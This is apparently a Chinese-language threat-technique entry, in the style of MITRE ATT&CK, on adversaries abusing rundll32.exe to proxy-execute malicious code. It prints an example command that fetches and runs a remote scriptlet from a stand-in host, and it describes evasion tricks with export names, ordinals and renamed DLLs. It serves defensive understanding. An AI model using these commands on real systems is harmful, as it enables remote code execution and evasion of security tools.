Rundll32
对手可能会滥用rundll32.exe来代理执行恶意代码。使用rundll32.exe,而不是直接执行(即共享模块),可能会避免触发安全工具,因为这些工具可能不会监控rundll32.exe进程的执行,因为白名单或正常操作的误报。rundll32.exe通常与执行DLL有效负载相关(例如:rundll32.exe {DLLname, DLLfunction}
)。 rundll32.exe还可以用于执行控制面板项目文件(.cpl),通过未记录的shell32.dll函数Control_RunDLL
和Control_RunDLLAsUser
。双击.cpl文件也会导致rundll32.exe执行。(引用: Trend Micro CPL) 例如,ClickOnce可以通过Rundll32.exe代理。 rundll32还可以用于执行诸如JavaScript之类的脚本。这可以使用类似于以下的语法完成:rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
这种行为已被Poweliks等恶意软件使用。(引用: This is Security Command Line Confusion) 对手还可能试图通过滥用rundll32.exe加载DLL函数名称的方式来掩盖恶意代码的分析。作为Windows对各种字符集的兼容性支持的一部分,rundll32.exe将在加载指定函数之前首先检查宽/Unicode然后是ANSI字符支持的函数(例如,给定命令rundll32.exe ExampleDLL.dll, ExampleFunction
,rundll32.exe将首先尝试执行ExampleFunctionW
,如果失败则ExampleFunctionA
,然后加载ExampleFunction
)。因此,对手可能通过创建多个相同的导出函数名称并将W
和/或A
附加到无害的名称上来掩盖恶意代码。(引用: Attackify Rundll32.exe Obscurity)(引用: Github NoRunDll) DLL函数也可以通过序号导出并执行(例如:rundll32.exe file.dll,#1
)。 此外,对手可能会使用伪装技术(例如更改DLL文件名、文件扩展名或函数名)进一步隐藏恶意有效负载的执行。(引用: rundll32.exe defense evasion)